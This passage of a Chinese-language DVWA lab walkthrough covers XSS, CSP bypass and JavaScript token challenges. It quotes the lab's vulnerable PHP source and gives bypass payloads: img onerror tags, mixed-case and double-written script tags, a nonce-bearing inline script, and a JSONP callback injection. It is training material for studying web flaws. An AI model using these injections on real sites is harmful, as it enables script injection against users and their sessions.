    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

preg_replace() 函数执行一个正则表达式的搜索和替换，“*” 代表一个或多个任意字符，“i” 代表不区分大小写。也就是说 “< script >” 标签在这里被完全过滤了，但是我们可以通过其他的标签例如 img、body 等标签的事件或者iframe 等标签的 src 注入 JS 攻击脚本。

<img src="#" onerror=alert(1)>

Impassible

源码解析：

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
//转码
& （和号） 成为 &
" （双引号） 成为 "
' （单引号） 成为 '
< （小于） 成为 <
> （大于） 成为 >
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

htmlspecialchars() 函数用于把预定义的字符 "<" 和 ">" 转换为 HTML 实体，防止了我们注入 HTML 标签。htmlspecialchars 函数会将 < 和 > 转换成 html 实体而不是当做标签，所以我们插入的语句并不会被执行。

12.Stored Cross Site Scripting (XSS)(存储跨站脚本)

Low

嵌入到web页面的恶意HTML会被存储到应用服务器端，简而言之就是会被存储到数据库，等用户在打开页面时，会继续执行恶意代码，能够持续的攻击用户

存储型 XSS 一般出现在网站留言、评论、博客日志等交互处，恶意脚本存储到客户端或者服务端的数据库中。

源码解析：

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
// trim(string,charlist)
函数移除字符串两侧的空白字符或其他预定义字符，预定义字符包括、\t、\n、\x0B、\r以及空格，可选参数charlist支持添加额外需要删除的字符。
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
// stripslashes(string)
函数删除字符串中的反斜杠。
    $message = stripslashes( $message );
// mysql_real_escape_string(string,connection)
函数会对字符串中的特殊符号（\x00，\n，\r，\，‘，“，\x1a）进行转义。
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

NAME处进行了长度限制，所以我们在Message处使用 <script>alert(1)</script> 进行尝试

再次访问此页面时，就会有次弹窗

成功后更新数据库

Medium

源码解析：

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
// strip_tags() 函数剥去字符串中的HTML、XML以及PHP的标签，但允许使用<b>标签
// addslashes() 函数返回在预定义字符（单引号、双引号、反斜杠、NULL）之前添加反斜杠的字符串
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

Message处使用了htmlspecialchars()函数，将字符全部转为了HTML实体，因此Message处无法使用XSS形成攻击。

name处做了长度限制，因此考虑使用抓包在BP中修改name的值，考虑使用双写或者大小写去绕过。

<scRIPt>alert(1)</SCript>
<scr<script>ipt>alert(1)</script>

High

源码解析：

<?php
 
if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );
 
    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );
 
    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
 
    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
 
    //mysql_close();
}
 
?>

与11的High相同，script被过滤

使用BP改name即可

<img src=1 onerror=alert(1)>

Impassible

源码解析：

<?php
 
if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
 
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );
 
    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );
 
    // Sanitize name input
    $name = stripslashes( $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $name = htmlspecialchars( $name );
 
    // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}
 
// Generate Anti-CSRF token
generateSessionToken();
 
?>

对Name和Message都使用了htmlspecialchars()函数做了过滤，还加了token值，进一步提高了安全性。

13.Content Security Policy (CSP) Bypass(内容安全策略绕道)

Low

CSP 是一种白名单制度，实现和执行全部由浏览器完成，开发者只需提供配置。CSP 大大增强了网页的安全性。攻击者即使发现了漏洞，也没法注入脚本，除非还控制了一台列入了白名单的可信主机

源码解析：

<?php

$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, hastebin.com, jquery and google analytics.

header($headerCSP);

# These might work if you can't create your own for some reason
# https://pastebin.com/raw/R570EE00
# https://www.toptal.com/developers/hastebin/raw/cezaruzeka

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    <script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
    <input size="50" type="text" name="include" value="" id="include" />
    <input type="submit" value="Include" />
</form>
';

从源代码中$headerCSP可以看出来，这里定义了几个受信任的站点，只能允许这几个站点的脚本才可以运行。

其中 pastebin.com 是一个快速分享文本内容的网站，这个内容我们是可控的

在源代码中给了我们测试站点

https://pastebin.com/raw/R570EE00

提交后查看源代码

已经被引用

Medium

源码解析：

<?php

$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";

header($headerCSP);

// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");

# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    " . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
    <input size="50" type="text" name="include" value="" id="include" />
    <input type="submit" value="Include" />
</form>
';

这一个关卡使用来了 unsafe-inline 和 nonce ，所以页面内嵌脚本，必须有这个token才能执行

<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

High

源码解析：

<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";

header($headerCSP);

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    " . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
    <p>1+2+3+4+5=<span id="answer"></span></p>
    <input type="button" id="solve" value="Solve the sum" />
</form>

<script src="source/high.js"></script>
';

function clickButton() {
    var s = document.createElement("script");
    s.src = "source/jsonp.php?callback=solveSum";
    document.body.appendChild(s);
}

function solveSum(obj) {
    if ("answer" in obj) {
        document.getElementById("answer").innerHTML = obj['answer'];
    }
}

var solve_button = document.getElementById ("solve");

if (solve_button) {
    solve_button.addEventListener("click", function() {
        clickButton();
    });
}

CSP 规则这里十分苛刻，只能引用允许self 的脚本执行，self是指本页面加载的脚本
构造Poc

/DVWA/vulnerabilities/csp/source/jsonp.php?callback=alert(1)

，触发弹窗

Impassible

源码解析：

<?php

$headerCSP = "Content-Security-Policy: script-src 'self';";

header($headerCSP);

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    " . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.</p><p>The CSP settings only allow external JavaScript on the local server and no inline code.</p>
    <p>1+2+3+4+5=<span id="answer"></span></p>
    <input type="button" id="solve" value="Solve the sum" />
</form>

<script src="source/impossible.js"></script>
';

function clickButton() {
    var s = document.createElement("script");
    s.src = "source/jsonp_impossible.php";
    document.body.appendChild(s);
}

function solveSum(obj) {
    if ("answer" in obj) {
        document.getElementById("answer").innerHTML = obj['answer'];
    }
}

var solve_button = document.getElementById ("solve");

if (solve_button) {
    solve_button.addEventListener("click", function() {
        clickButton();
    });
}

14.JavaScript Attacks(JS攻击)

Low

JavaScript是一种基于对象和事件驱动的、并具有安全性能的脚本语言。是一种解释型语言（代码不需要进行预编译）。通常JavaScript脚本是通过嵌入在HTML中来实现自身的功能的

源码解析：

<?php
$page[ 'body' ] .= <<<EOF
<script>

/*
MD5 code from here
https://github.com/blueimp/JavaScript-MD5
*/

!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<<t|n>>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<<r%32,n[14+(r+64>>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e<n.length;e+=16)i=l,a=g,d=v,h=m,g=f(g=f(g=f(g=f(g=c(g=c(g=c(g=c(g=u(g=u(g=u(g=u(g=o(g=o(g=o(g=o(g,v=o(v,m=o(m,l=o(l,g,v,m,n[e],7,-680876936),g,v,n[e+1],12,-389564586),l,g,n[e+2],17,606105819),m,l,n[e+3],22,-1044525330),v=o(v,m=o(m,l=o(l,g,v,m,n[e+4],7,-176418897),g,v,n[e+5],12,1200080426),l,g,n[e+6],17,-1473231341),m,l,n[e+7],22,-45705983),v=o(v,m=o(m,l=o(l,g,v,m,n[e+8],7,1770035416),g,v,n[e+9],12,-1958414417),l,g,n[e+10],17,-42063),m,l,n[e+11],22,-1990404162),v=o(v,m=o(m,l=o(l,g,v,m,n[e+12],7,1804603682),g,v,n[e+13],12,-40341101),l,g,n[e+14],17,-1502002290),m,l,n[e+15],22,1236535329),v=u(v,m=u(m,l=u(l,g,v,m,n[e+1],5,-165796510),g,v,n[e+6],9,-1069501632),l,g,n[e+11],14,643717713),m,l,n[e],20,-373897302),v=u(v,m=u(m,l=u(l,g,v,m,n[e+5],5,-701558691),g,v,n[e+10],9,38016083),l,g,n[e+15],14,-660478335),m,l,n[e+4],20,-405537848),v=u(v,m=u(m,l=u(l,g,v,m,n[e+9],5,568446438),g,v,n[e+14],9,-1019803690),l,g,n[e+3],14,-187363961),m,l,n[e+8],20,1163531501),v=u(v,m=u(m,l=u(l,g,v,m,n[e+13],5,-1444681467),g,v,n[e+2],9,-51403784),l,g,n[e+7],14,1735328473),m,l,n[e+12],20,-1926607734),v=c(v,m=c(m,l=c(l,g,v,m,n[e+5],4,-378558),g,v,n[e+8],11,-2022574463),l,g,n[e+11],16,1839030562),m,l,n[e+14],23,-35309556),v=c(v,m=c(m,l=c(l,g,v,m,n[e+1],4,-1530992060),g,v,n[e+4],11,1272893353),l,g,n[e+7],16,-155497632),m,l,n[e+10],23,-1094730640),v=c(v,m=c(m,l=c(l,g,v,m,n[e+13],4,681279174),g,v,n[e],11,-358537222),l,g,n[e+3],16,-722521979),m,l,n[e+6],23,76029189),v=c(v,m=c(m,l=c(l,g,v,m,n[e+9],4,-640364487),g,v,n[e+12],11,-421815835),l,g,n[e+15],16,530742520),m,l,n[e+2],23,-995338651),v=f(v,m=f(m,l=f(l,g,v,m,n[e],6,-198630844),g,v,n[e+7],10,1126891415),l,g,n[e+14],15,-1416354905),m,l,n[e+5],21,-57434055),v=f(v,m=f(m,l=f(l,g,v,m,n[e+12],6,1700485571),g,v,n[e+3],10,-1894986606),l,g,n[e+10],15,-1051523),m,l,n[e+1],21,-2054922799),v=f(v,m=f(m,l=f(l,g,v,m,n[e+8],6,1873313359),g,v,n[e+15],10,-30611744),l,g,n[e+6],15,-1560198380),m,l,n[e+13],21,1309151649),v=f(v,m=f(m,l=f(l,g,v,m,n[e+4],6,-145523070),g,v,n[e+11],10,-1120210379),l,g,n[e+2],15,718787259),m,l,n[e+9],21,-343485551),l=t(l,i),g=t(g,a),v=t(v,d),m=t(m,h);return[l,g,v,m]}function a(n){var t,r="",e=32*n.length;for(t=0;t<e;t+=8)r+=String.fromCharCode(n[t>>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t<r.length;t+=1)r[t]=0;var e=8*n.length;for(t=0;t<e;t+=8)r[t>>5]|=(255&n.charCodeAt(t/8))<<t%32;return r}function h(n){return a(i(d(n),8*n.length))}function l(n,t){var r,e,o=d(n),u=[],c=[];for(u[15]=c[15]=void 0,o.length>16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r<n.length;r+=1)t=n.charCodeAt(r),e+="0123456789abcdef".charAt(t>>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}"function"==typeof define&&define.amd?define(function(){return A}):"object"==typeof module&&module.exports?module.exports=A:n.md5=A}(this);

    function rot13(inp) {
        return inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});
    }

    function generate_token() {
        var phrase = document.getElementById("phrase").value;
        document.getElementById("token").value = md5(rot13(phrase));
    }

    generate_token();
</script>
EOF;
?>

中间那一大团使用了 md5 加密生成了 token，和之前的源码不同在于这次 token 是在前端生成的。generate_token() 函数的作用是获取 “phrase” 参数中的值，将其的 rot13 加密的结果进行 md5 加密作为 token 的值

Medium

源码解析：

<?php
$page[ 'body' ] .= '<script src="' . DVWA_WEB_PAGE_TO_ROOT . 'vulnerabilities/javascript/source/medium.js"></script>';
?>

function do_something(e){for(var t="",n=e.length-1;n>=0;n--)t+=e[n];return t}setTimeout(function(){do_elsesomething("XX")},300);function do_elsesomething(e){document.getElementById("token").value=do_something(e+document.getElementById("phrase").value+"XX")}

将 phrase 逆序输出，然后在前后分别添加 XX 作为规律

所以当我们输入 success 的话，对应的 token 应该就是 XXsseccusXX

High

源码解析：

<?php
$page[ 'body' ] .= '<script src="' . DVWA_WEB_PAGE_TO_ROOT . 'vulnerabilities/javascript/source/high.js"></script>';
?>

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high.js中用了js混淆，以通过调整JS，再控制台输入正确的JS文件，使应用获取到"success"。

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